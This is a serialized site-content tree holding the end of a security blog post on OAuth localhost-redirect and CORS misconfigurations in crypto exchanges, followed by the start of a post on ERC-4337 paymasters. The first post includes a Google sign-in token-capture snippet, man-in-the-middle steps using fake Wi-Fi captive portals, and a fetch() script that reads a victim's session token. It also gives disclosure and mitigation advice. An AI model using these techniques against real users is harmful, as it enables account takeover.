,{"type":23,"tag":230,"props":102960,"children":102961},{"class":232,"line":4619},[102962,102966],{"type":23,"tag":230,"props":102963,"children":102964},{"style":294},[102965],{"type":29,"value":72800},{"type":23,"tag":230,"props":102967,"children":102968},{"style":274},[102969],{"type":29,"value":277},{"type":23,"tag":230,"props":102971,"children":102972},{"class":232,"line":4627},[102973,102978,102982],{"type":23,"tag":230,"props":102974,"children":102975},{"style":274},[102976],{"type":29,"value":102977},"                                src ",{"type":23,"tag":230,"props":102979,"children":102980},{"style":268},[102981],{"type":29,"value":863},{"type":23,"tag":230,"props":102983,"children":102984},{"style":380},[102985],{"type":29,"value":102986}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":230,"props":102988,"children":102989},{"class":232,"line":4659},[102990,102995,103000,103004,103008],{"type":23,"tag":230,"props":102991,"children":102992},{"style":274},[102993],{"type":29,"value":102994},"                                attributes[",{"type":23,"tag":230,"props":102996,"children":102997},{"style":380},[102998],{"type":29,"value":102999},"\"async\"",{"type":23,"tag":230,"props":103001,"children":103002},{"style":274},[103003],{"type":29,"value":10997},{"type":23,"tag":230,"props":103005,"children":103006},{"style":268},[103007],{"type":29,"value":863},{"type":23,"tag":230,"props":103009,"children":103010},{"style":380},[103011],{"type":29,"value":103012}," \"\"\n",{"type":23,"tag":230,"props":103014,"children":103015},{"class":232,"line":4671},[103016,103020,103025,103029,103033],{"type":23,"tag":230,"props":103017,"children":103018},{"style":274},[103019],{"type":29,"value":102994},{"type":23,"tag":230,"props":103021,"children":103022},{"style":380},[103023],{"type":29,"value":103024},"\"defer\"",{"type":23,"tag":230,"props":103026,"children":103027},{"style":274},[103028],{"type":29,"value":10997},{"type":23,"tag":230,"props":103030,"children":103031},{"style":268},[103032],{"type":29,"value":863},{"type":23,"tag":230,"props":103034,"children":103035},{"style":380},[103036],{"type":29,"value":103012},{"type":23,"tag":230,"props":103038,"children":103039},{"class":232,"line":4688},[103040],{"type":23,"tag":230,"props":103041,"children":103042},{"style":274},[103043],{"type":29,"value":72825},{"type":23,"tag":230,"props":103045,"children":103046},{"class":232,"line":4701},[103047,103051],{"type":23,"tag":230,"props":103048,"children":103049},{"style":294},[103050],{"type":29,"value":72800},{"type":23,"tag":230,"props":103052,"children":103053},{"style":274},[103054],{"type":29,"value":277},{"type":23,"tag":230,"props":103056,"children":103057},{"class":232,"line":4724},[103058,103063],{"type":23,"tag":230,"props":103059,"children":103060},{"style":294},[103061],{"type":29,"value":103062},"                                unsafe",{"type":23,"tag":230,"props":103064,"children":103065},{"style":274},[103066],{"type":29,"value":277},{"type":23,"tag":230,"props":103068,"children":103069},{"class":232,"line":4741},[103070,103075],{"type":23,"tag":230,"props":103071,"children":103072},{"style":268},[103073],{"type":29,"value":103074},"                                    +",{"type":23,"tag":230,"props":103076,"children":103077},{"style":380},[103078],{"type":29,"value":103079},"\"\"\"\n",{"type":23,"tag":230,"props":103081,"children":103082},{"class":232,"line":4759},[103083],{"type":23,"tag":230,"props":103084,"children":103085},{"style":380},[103086],{"type":29,"value":103087},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":230,"props":103089,"children":103090},{"class":232,"line":4768},[103091],{"type":23,"tag":230,"props":103092,"children":103093},{"style":380},[103094],{"type":29,"value":103095},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":230,"props":103097,"children":103098},{"class":232,"line":4776},[103099],{"type":23,"tag":230,"props":103100,"children":103101},{"style":380},[103102],{"type":29,"value":1552},{"type":23,"tag":230,"props":103104,"children":103105},{"class":232,"line":4784},[103106],{"type":23,"tag":230,"props":103107,"children":103108},{"emptyLinePlaceholder":18},[103109],{"type":29,"value":459},{"type":23,"tag":230,"props":103111,"children":103112},{"class":232,"line":4792},[103113],{"type":23,"tag":230,"props":103114,"children":103115},{"style":380},[103116],{"type":29,"value":103117},"    window.onload = async function () {\n",{"type":23,"tag":230,"props":103119,"children":103120},{"class":232,"line":4824},[103121],{"type":23,"tag":230,"props":103122,"children":103123},{"style":380},[103124],{"type":29,"value":103125},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":230,"props":103127,"children":103128},{"class":232,"line":4832},[103129],{"type":23,"tag":230,"props":103130,"children":103131},{"style":380},[103132],{"type":29,"value":103133},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":230,"props":103135,"children":103136},{"class":232,"line":4840},[103137],{"type":23,"tag":230,"props":103138,"children":103139},{"style":380},[103140],{"type":29,"value":103141},"      google.accounts.id.initialize({\n",{"type":23,"tag":230,"props":103143,"children":103144},{"class":232,"line":4901},[103145],{"type":23,"tag":230,"props":103146,"children":103147},{"style":380},[103148],{"type":29,"value":103149},"        client_id: client_id,\n",{"type":23,"tag":230,"props":103151,"children":103152},{"class":232,"line":4909},[103153],{"type":23,"tag":230,"props":103154,"children":103155},{"style":380},[103156],{"type":29,"value":103157},"        callback: handleCredentialResponse,\n",{"type":23,"tag":230,"props":103159,"children":103160},{"class":232,"line":4938},[103161],{"type":23,"tag":230,"props":103162,"children":103163},{"style":380},[103164],{"type":29,"value":103165},"        auto_select: true\n",{"type":23,"tag":230,"props":103167,"children":103168},{"class":232,"line":4957},[103169],{"type":23,"tag":230,"props":103170,"children":103171},{"style":380},[103172],{"type":29,"value":9632},{"type":23,"tag":230,"props":103174,"children":103175},{"class":232,"line":4973},[103176],{"type":23,"tag":230,"props":103177,"children":103178},{"emptyLinePlaceholder":18},[103179],{"type":29,"value":459},{"type":23,"tag":230,"props":103181,"children":103182},{"class":232,"line":4990},[103183],{"type":23,"tag":230,"props":103184,"children":103185},{"style":380},[103186],{"type":29,"value":103187},"      google.accounts.id.renderButton(\n",{"type":23,"tag":230,"props":103189,"children":103190},{"class":232,"line":5006},[103191],{"type":23,"tag":230,"props":103192,"children":103193},{"style":380},[103194],{"type":29,"value":103195},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":230,"props":103197,"children":103198},{"class":232,"line":5019},[103199],{"type":23,"tag":230,"props":103200,"children":103201},{"style":380},[103202],{"type":29,"value":103203},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":230,"props":103205,"children":103206},{"class":232,"line":5050},[103207],{"type":23,"tag":230,"props":103208,"children":103209},{"style":380},[103210],{"type":29,"value":9102},{"type":23,"tag":230,"props":103212,"children":103213},{"class":232,"line":5058},[103214],{"type":23,"tag":230,"props":103215,"children":103216},{"emptyLinePlaceholder":18},[103217],{"type":29,"value":459},{"type":23,"tag":230,"props":103219,"children":103220},{"class":232,"line":26228},[103221],{"type":23,"tag":230,"props":103222,"children":103223},{"style":380},[103224],{"type":29,"value":103225},"      google.accounts.id.prompt();\n",{"type":23,"tag":230,"props":103227,"children":103228},{"class":232,"line":34574},[103229],{"type":23,"tag":230,"props":103230,"children":103231},{"style":380},[103232],{"type":29,"value":3700},{"type":23,"tag":230,"props":103234,"children":103235},{"class":232,"line":34595},[103236,103241,103245,103250],{"type":23,"tag":230,"props":103237,"children":103238},{"style":380},[103239],{"type":29,"value":103240},"                                    \"\"\"",{"type":23,"tag":230,"props":103242,"children":103243},{"style":274},[103244],{"type":29,"value":312},{"type":23,"tag":230,"props":103246,"children":103247},{"style":294},[103248],{"type":29,"value":103249},"trimIndent",{"type":23,"tag":230,"props":103251,"children":103252},{"style":274},[103253],{"type":29,"value":10072},{"type":23,"tag":230,"props":103255,"children":103256},{"class":232,"line":82730},[103257],{"type":23,"tag":230,"props":103258,"children":103259},{"style":274},[103260],{"type":29,"value":103261},"                                }\n",{"type":23,"tag":230,"props":103263,"children":103264},{"class":232,"line":82743},[103265],{"type":23,"tag":230,"props":103266,"children":103267},{"style":274},[103268],{"type":29,"value":72825},{"type":23,"tag":230,"props":103270,"children":103271},{"class":232,"line":82751},[103272],{"type":23,"tag":230,"props":103273,"children":103274},{"style":274},[103275],{"type":29,"value":72755},{"type":23,"tag":230,"props":103277,"children":103278},{"class":232,"line":82759},[103279,103283],{"type":23,"tag":230,"props":103280,"children":103281},{"style":294},[103282],{"type":29,"value":72763},{"type":23,"tag":230,"props":103284,"children":103285},{"style":274},[103286],{"type":29,"value":277},{"type":23,"tag":230,"props":103288,"children":103289},{"class":232,"line":82767},[103290,103294,103298,103302,103307],{"type":23,"tag":230,"props":103291,"children":103292},{"style":294},[103293],{"type":29,"value":72775},{"type":23,"tag":230,"props":103295,"children":103296},{"style":274},[103297],{"type":29,"value":848},{"type":23,"tag":230,"props":103299,"children":103300},{"style":268},[103301],{"type":29,"value":6719},{"type":23,"tag":230,"props":103303,"children":103304},{"style":380},[103305],{"type":29,"value":103306},"\"Login here:\"",{"type":23,"tag":230,"props":103308,"children":103309},{"style":274},[103310],{"type":29,"value":11927},{"type":23,"tag":230,"props":103312,"children":103313},{"class":232,"line":82807},[103314,103319],{"type":23,"tag":230,"props":103315,"children":103316},{"style":294},[103317],{"type":29,"value":103318},"                            div",{"type":23,"tag":230,"props":103320,"children":103321},{"style":274},[103322],{"type":29,"value":277},{"type":23,"tag":230,"props":103324,"children":103325},{"class":232,"line":82815},[103326,103331,103335],{"type":23,"tag":230,"props":103327,"children":103328},{"style":274},[103329],{"type":29,"value":103330},"                                id ",{"type":23,"tag":230,"props":103332,"children":103333},{"style":268},[103334],{"type":29,"value":863},{"type":23,"tag":230,"props":103336,"children":103337},{"style":380},[103338],{"type":29,"value":103339}," \"g_id_signin\"\n",{"type":23,"tag":230,"props":103341,"children":103342},{"class":232,"line":90002},[103343],{"type":23,"tag":230,"props":103344,"children":103345},{"style":274},[103346],{"type":29,"value":72825},{"type":23,"tag":230,"props":103348,"children":103349},{"class":232,"line":90010},[103350],{"type":23,"tag":230,"props":103351,"children":103352},{"style":274},[103353],{"type":29,"value":72755},{"type":23,"tag":230,"props":103355,"children":103357},{"class":232,"line":103356},62,[103358],{"type":23,"tag":230,"props":103359,"children":103360},{"style":274},[103361],{"type":29,"value":72840},{"type":23,"tag":230,"props":103363,"children":103365},{"class":232,"line":103364},63,[103366],{"type":23,"tag":230,"props":103367,"children":103368},{"style":274},[103369],{"type":29,"value":72848},{"type":23,"tag":230,"props":103371,"children":103373},{"class":232,"line":103372},64,[103374],{"type":23,"tag":230,"props":103375,"children":103376},{"style":274},[103377],{"type":29,"value":60659},{"type":23,"tag":230,"props":103379,"children":103381},{"class":232,"line":103380},65,[103382,103386,103390,103394,103398,103402],{"type":23,"tag":230,"props":103383,"children":103384},{"style":274},[103385],{"type":29,"value":72863},{"type":23,"tag":230,"props":103387,"children":103388},{"style":294},[103389],{"type":29,"value":72868},{"type":23,"tag":230,"props":103391,"children":103392},{"style":274},[103393],{"type":29,"value":72873},{"type":23,"tag":230,"props":103395,"children":103396},{"style":268},[103397],{"type":29,"value":863},{"type":23,"tag":230,"props":103399,"children":103400},{"style":256},[103401],{"type":29,"value":14799},{"type":23,"tag":230,"props":103403,"children":103404},{"style":274},[103405],{"type":29,"value":4516},{"type":23,"tag":230,"props":103407,"children":103409},{"class":232,"line":103408},66,[103410],{"type":23,"tag":230,"props":103411,"children":103412},{"style":274},[103413],{"type":29,"value":1552},{"type":23,"tag":32,"props":103415,"children":103416},{},[103417],{"type":29,"value":103418},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":32,"props":103420,"children":103421},{},[103422],{"type":29,"value":103423},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":59,"props":103425,"children":103427},{"id":103426},"how-to-mitigate",[103428],{"type":29,"value":103429},"How to Mitigate",{"type":23,"tag":32,"props":103431,"children":103432},{},[103433],{"type":29,"value":103434},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":24,"props":103436,"children":103438},{"id":103437},"exploiting-cors",[103439],{"type":29,"value":103440},"Exploiting CORS",{"type":23,"tag":32,"props":103442,"children":103443},{},[103444],{"type":29,"value":103445},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":32,"props":103447,"children":103448},{},[103449,103451,103457],{"type":29,"value":103450},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":71,"props":103452,"children":103454},{"className":103453},[],[103455],{"type":29,"value":103456},"http://",{"type":29,"value":103458}," schema for any subdomain:",{"type":23,"tag":220,"props":103460,"children":103464},{"className":103461,"code":103462,"language":103463,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[103465],{"type":23,"tag":71,"props":103466,"children":103467},{"__ignoreMap":7},[103468,103476,103484,103492],{"type":23,"tag":230,"props":103469,"children":103470},{"class":232,"line":233},[103471],{"type":23,"tag":230,"props":103472,"children":103473},{},[103474],{"type":29,"value":103475},"HTTP 200 OK\n",{"type":23,"tag":230,"props":103477,"children":103478},{"class":232,"line":243},[103479],{"type":23,"tag":230,"props":103480,"children":103481},{},[103482],{"type":29,"value":103483},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":230,"props":103485,"children":103486},{"class":232,"line":252},[103487],{"type":23,"tag":230,"props":103488,"children":103489},{},[103490],{"type":29,"value":103491},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":230,"props":103493,"children":103494},{"class":232,"line":280},[103495],{"type":23,"tag":230,"props":103496,"children":103497},{},[103498],{"type":29,"value":12649},{"type":23,"tag":59,"props":103500,"children":103502},{"id":103501},"cors-misconfiguration-by-lack-of-tls",[103503],{"type":29,"value":103504},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":32,"props":103506,"children":103507},{},[103508,103510,103516],{"type":29,"value":103509},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":71,"props":103511,"children":103513},{"className":103512},[],[103514],{"type":29,"value":103515},"exchange.com",{"type":29,"value":103517}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":32,"props":103519,"children":103520},{},[103521],{"type":29,"value":103522},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":98,"props":103524,"children":103525},{},[103526,103546],{"type":23,"tag":102,"props":103527,"children":103528},{},[103529,103531,103536,103538,103544],{"type":29,"value":103530},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":71,"props":103532,"children":103534},{"className":103533},[],[103535],{"type":29,"value":103456},{"type":29,"value":103537}," --> ",{"type":23,"tag":71,"props":103539,"children":103541},{"className":103540},[],[103542],{"type":29,"value":103543},"https://",{"type":29,"value":103545}," requests, even if same-site",{"type":23,"tag":102,"props":103547,"children":103548},{},[103549,103551],{"type":29,"value":103550},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":71,"props":103552,"children":103554},{"className":103553},[],[103555],{"type":29,"value":2449},{"type":23,"tag":59,"props":103557,"children":103559},{"id":103558},"exploit-1",[103560],{"type":29,"value":101890},{"type":23,"tag":32,"props":103562,"children":103563},{},[103564],{"type":29,"value":103565},"To exploit it, we must follow some steps:",{"type":23,"tag":144,"props":103567,"children":103568},{},[103569,103574,103579],{"type":23,"tag":102,"props":103570,"children":103571},{},[103572],{"type":29,"value":103573},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":102,"props":103575,"children":103576},{},[103577],{"type":29,"value":103578},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":102,"props":103580,"children":103581},{},[103582,103584,103589],{"type":29,"value":103583},"Use ",{"type":23,"tag":71,"props":103585,"children":103587},{"className":103586},[],[103588],{"type":29,"value":2449},{"type":29,"value":103590}," with CORS to do something malicious using the victim's account",{"type":23,"tag":32,"props":103592,"children":103593},{},[103594],{"type":29,"value":103595},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":32,"props":103597,"children":103598},{},[103599,103601,103606],{"type":29,"value":103600},"Once the redirect to the ",{"type":23,"tag":71,"props":103602,"children":103604},{"className":103603},[],[103605],{"type":29,"value":103456},{"type":29,"value":103607}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":220,"props":103609,"children":103611},{"className":33669,"code":103610,"language":33671,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[103612],{"type":23,"tag":71,"props":103613,"children":103614},{"__ignoreMap":7},[103615,103638,103675,103692,103709,103716,103757],{"type":23,"tag":230,"props":103616,"children":103617},{"class":232,"line":233},[103618,103622,103626,103630,103634],{"type":23,"tag":230,"props":103619,"children":103620},{"style":274},[103621],{"type":29,"value":302},{"type":23,"tag":230,"props":103623,"children":103624},{"style":256},[103625],{"type":29,"value":798},{"type":23,"tag":230,"props":103627,"children":103628},{"style":274},[103629],{"type":29,"value":4411},{"type":23,"tag":230,"props":103631,"children":103632},{"style":256},[103633],{"type":29,"value":2671},{"type":23,"tag":230,"props":103635,"children":103636},{"style":274},[103637],{"type":29,"value":277},{"type":23,"tag":230,"props":103639,"children":103640},{"class":232,"line":243},[103641,103645,103650,103654,103658,103662,103666,103671],{"type":23,"tag":230,"props":103642,"children":103643},{"style":256},[103644],{"type":29,"value":4324},{"type":23,"tag":230,"props":103646,"children":103647},{"style":262},[103648],{"type":29,"value":103649}," res",{"type":23,"tag":230,"props":103651,"children":103652},{"style":268},[103653],{"type":29,"value":271},{"type":23,"tag":230,"props":103655,"children":103656},{"style":866},[103657],{"type":29,"value":869},{"type":23,"tag":230,"props":103659,"children":103660},{"style":294},[103661],{"type":29,"value":35221},{"type":23,"tag":230,"props":103663,"children":103664},{"style":274},[103665],{"type":29,"value":302},{"type":23,"tag":230,"props":103667,"children":103668},{"style":380},[103669],{"type":29,"value":103670},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":230,"props":103672,"children":103673},{"style":274},[103674],{"type":29,"value":50654},{"type":23,"tag":230,"props":103676,"children":103677},{"class":232,"line":252},[103678,103683,103688],{"type":23,"tag":230,"props":103679,"children":103680},{"style":262},[103681],{"type":29,"value":103682},"    credentials:",{"type":23,"tag":230,"props":103684,"children":103685},{"style":380},[103686],{"type":29,"value":103687}," 'include'",{"type":23,"tag":230,"props":103689,"children":103690},{"style":274},[103691],{"type":29,"value":388},{"type":23,"tag":230,"props":103693,"children":103694},{"class":232,"line":280},[103695,103700,103705],{"type":23,"tag":230,"props":103696,"children":103697},{"style":262},[103698],{"type":29,"value":103699},"    method:",{"type":23,"tag":230,"props":103701,"children":103702},{"style":380},[103703],{"type":29,"value":103704}," 'POST'",{"type":23,"tag":230,"props":103706,"children":103707},{"style":274},[103708],{"type":29,"value":388},{"type":23,"tag":230,"props":103710,"children":103711},{"class":232,"line":334},[103712],{"type":23,"tag":230,"props":103713,"children":103714},{"style":274},[103715],{"type":29,"value":99973},{"type":23,"tag":230,"props":103717,"children":103718},{"class":232,"line":371},[103719,103724,103728,103733,103737,103741,103745,103749,103753],{"type":23,"tag":230,"props":103720,"children":103721},{"style":262},[103722],{"type":29,"value":103723},"  console",{"type":23,"tag":230,"props":103725,"children":103726},{"style":274},[103727],{"type":29,"value":312},{"type":23,"tag":230,"props":103729,"children":103730},{"style":294},[103731],{"type":29,"value":103732},"log",{"type":23,"tag":230,"props":103734,"children":103735},{"style":274},[103736],{"type":29,"value":302},{"type":23,"tag":230,"props":103738,"children":103739},{"style":866},[103740],{"type":29,"value":2640},{"type":23,"tag":230,"props":103742,"children":103743},{"style":262},[103744],{"type":29,"value":103649},{"type":23,"tag":230,"props":103746,"children":103747},{"style":274},[103748],{"type":29,"value":312},{"type":23,"tag":230,"props":103750,"children":103751},{"style":294},[103752],{"type":29,"value":1680},{"type":23,"tag":230,"props":103754,"children":103755},{"style":274},[103756],{"type":29,"value":17749},{"type":23,"tag":230,"props":103758,"children":103759},{"class":232,"line":391},[103760],{"type":23,"tag":230,"props":103761,"children":103762},{"style":274},[103763],{"type":29,"value":103764},"})();\n",{"type":23,"tag":32,"props":103766,"children":103767},{},[103768],{"type":29,"value":103769},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":59,"props":103771,"children":103772},{"id":5086},[103773],{"type":29,"value":5089},{"type":23,"tag":32,"props":103775,"children":103776},{},[103777,103779,103784],{"type":29,"value":103778},"As mitigation, it is recommended to remove all ",{"type":23,"tag":71,"props":103780,"children":103782},{"className":103781},[],[103783],{"type":29,"value":103456},{"type":29,"value":103785}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":32,"props":103787,"children":103788},{},[103789],{"type":29,"value":103790},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":24,"props":103792,"children":103793},{"id":5163},[103794],{"type":29,"value":5166},{"type":23,"tag":32,"props":103796,"children":103797},{},[103798],{"type":29,"value":103799},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":32,"props":103801,"children":103802},{},[103803],{"type":29,"value":103804},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":5178,"props":103806,"children":103807},{},[103808],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":103810},[103811,103816,103821],{"id":101495,"depth":243,"text":101498,"children":103812},[103813,103814,103815],{"id":101506,"depth":252,"text":101509},{"id":101863,"depth":252,"text":101866},{"id":103426,"depth":252,"text":103429},{"id":103437,"depth":243,"text":103440,"children":103817},[103818,103819,103820],{"id":103501,"depth":252,"text":103504},{"id":103558,"depth":252,"text":101890},{"id":5086,"depth":252,"text":5089},{"id":5163,"depth":243,"text":5166},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103826,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103827,"description":103828,"date":103829,"author":103830,"image":103831,"isFeatured":18,"onBlogPage":18,"tags":103833,"body":103836,"_type":5202,"_id":109608,"_source":5204,"_file":109609,"_stem":109610,"_extension":5207},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103832,"width":99047,"height":16},"/posts/paymasters-evm/title.png",[103834,103835],"evm","ERC-4337",{"type":20,"children":103837,"toc":109587},[103838,103842,103853,103858,103863,103868,103874,103880,103885,103890,103896,103901,103929,103935,103940,103947,103952,103962,103967,103993,103999,104019,104025,104045,104053,104084,104117,104126,104138,104163,104175,104188,104231,104237,104270,104369,104388,104411,104416,104422,104450,104597,104602,104629,104635,104647,104659,104668,104703,104708,106193,106221,106242,106247,106259,106268,106273,106291,106314,106319,106325,106379,106385,106418,106453,107277,107313,107349,107415,107448,107946,107999,108011,108575,108644,108671,109293,109335,109362,109374,109435,109454,109488,109493,109498,109503,109507,109512,109547,109573,109578,109583],{"type":23,"tag":37658,"props":103839,"children":103840},{"id":31322},[103841],{"type":29,"value":31325},{"type":23,"tag":32,"props":103843,"children":103844},{},[103845,103851],{"type":23,"tag":181,"props":103846,"children":103849},{"href":103847,"rel":103848},"https://docs.erc4337.io/",[185],[103850],{"type":29,"value":103835},{"type":29,"value":103852}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":32,"props":103854,"children":103855},{},[103856],{"type":29,"value":103857},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":32,"props":103859,"children":103860},{},[103861],{"type":29,"value":103862},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":32,"props":103864,"children":103865},{},[103866],{"type":29,"value":103867},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":37658,"props":103869,"children":103871},{"id":103870},"erc4337-overview",[103872],{"type":29,"value":103873},"ERC4337 Overview",{"type":23,"tag":24,"props":103875,"children":103877},{"id":103876},"traditional-eoas-vs-smart-contract-wallets",[103878],{"type":29,"value":103879},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":32,"props":103881,"children":103882},{},[103883],{"type":29,"value":103884},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":32,"props":103886,"children":103887},{},[103888],{"type":29,"value":103889},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":24,"props":103891,"children":103893},{"id":103892},"why-erc4337-was-introduced",[103894],{"type":29,"value":103895},"Why ERC‑4337 Was Introduced",{"type":23,"tag":32,"props":103897,"children":103898},{},[103899],{"type":29,"value":103900},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":98,"props":103902,"children":103903},{},[103904,103909,103914,103919,103924],{"type":23,"tag":102,"props":103905,"children":103906},{},[103907],{"type":29,"value":103908},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":102,"props":103910,"children":103911},{},[103912],{"type":29,"value":103913},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":102,"props":103915,"children":103916},{},[103917],{"type":29,"value":103918},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":102,"props":103920,"children":103921},{},[103922],{"type":29,"value":103923},"Using custom signature schemes or multisig logic",{"type":23,"tag":102,"props":103925,"children":103926},{},[103927],{"type":29,"value":103928},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":24,"props":103930,"children":103932},{"id":103931},"how-erc-4337-works",[103933],{"type":29,"value":103934},"How ERC-4337 Works",{"type":23,"tag":32,"props":103936,"children":103937},{},[103938],{"type":29,"value":103939},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":32,"props":103941,"children":103942},{},[103943],{"type":23,"tag":93,"props":103944,"children":103946},{"alt":52351,"src":103945},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":32,"props":103948,"children":103949},{},[103950],{"type":29,"value":103951},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":59,"props":103953,"children":103955},{"id":103954},"useroperation",[103956],{"type":23,"tag":71,"props":103957,"children":103959},{"className":103958},[],[103960],{"type":29,"value":103961},"UserOperation",{"type":23,"tag":32,"props":103963,"children":103964},{},[103965],{"type":29,"value":103966},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":98,"props":103968,"children":103969},{},[103970,103975,103980],{"type":23,"tag":102,"props":103971,"children":103972},{},[103973],{"type":29,"value":103974},"Target contract call(s)",{"type":23,"tag":102,"props":103976,"children":103977},{},[103978],{"type":29,"value":103979},"Signature or validation 